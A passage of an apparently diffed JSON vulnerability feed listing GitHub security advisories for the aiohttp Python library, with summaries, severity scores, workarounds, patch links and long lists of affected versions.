"2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-63hw-fmq6-xxg2/GHSA-63hw-fmq6-xxg2.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hw-fmq6-xxg2" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-770" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:09:16Z", - "nvd_published_at": null, - "severity": "MODERATE" - } - }, - { - "modified": "2026-06-16T18:59:14Z", - "published": "2026-06-15T20:10:44Z", - "schema_version": "1.7.5", - "id": "GHSA-9x8q-7h8h-wcw9", - "aliases": [ - "CVE-2026-54280" - ], - "related": [ - "CGA-548m-m694-mp5x" - ], - "summary": "aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect", - "details": "### Summary\n\nPayload resources are not closed correctly when a client disconnects in the middle of a write.\n\n### Impact\n\nIf a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9x8q-7h8h-wcw9/GHSA-9x8q-7h8h-wcw9.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9x8q-7h8h-wcw9" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-404" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:10:44Z", - "nvd_published_at": null, - "severity": "LOW" - } - }, - { - "modified": "2026-06-17T00:59:23Z", - "published": "2026-06-15T20:09:51Z", - "schema_version": "1.7.5", - "id": "GHSA-g3cq-j2xw-wf74", - "aliases": [ - "CVE-2026-54278" - ], - "related": [ - "CGA-f7w5-386x-qjpj" - ], - "summary": "aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup", - "details": "### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-g3cq-j2xw-wf74/GHSA-g3cq-j2xw-wf74.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-409" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:09:51Z", - "nvd_published_at": null, - "severity": "MODERATE" - } - }, - { - "modified": "2026-06-04T15:29:16Z", - "published": "2026-06-03T21:34:38Z", - "schema_version": "1.7.5", - "id": "GHSA-hg6j-4rv6-33pg", - "aliases": [ - "CVE-2026-47265" - ], - "related": [ - "CGA-5f7q-7pmq-hq3r" - ], - "summary": "AIOHTTP is vulnerable to cross-origin redirect with per-request cookies", - "details": "### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.0" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hg6j-4rv6-33pg/GHSA-hg6j-4rv6-33pg.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47265" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-346" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-03T21:34:38Z", - "nvd_published_at": "2026-06-02T20:16:37Z", - "severity": "MODERATE" - } - }, - { - "modified": "2026-06-16T18:59:14Z", - "published": "2026-06-15T20:09:06Z", - "schema_version": "1.7.5", - "id": "GHSA-hpj7-wq8m-9hgp", - "aliases": [ - "CVE-2026-54276" - ], - "related": [ - "CGA-97cq-3228-hpcq" - ], - "summary": "aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges", - "details": "### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - 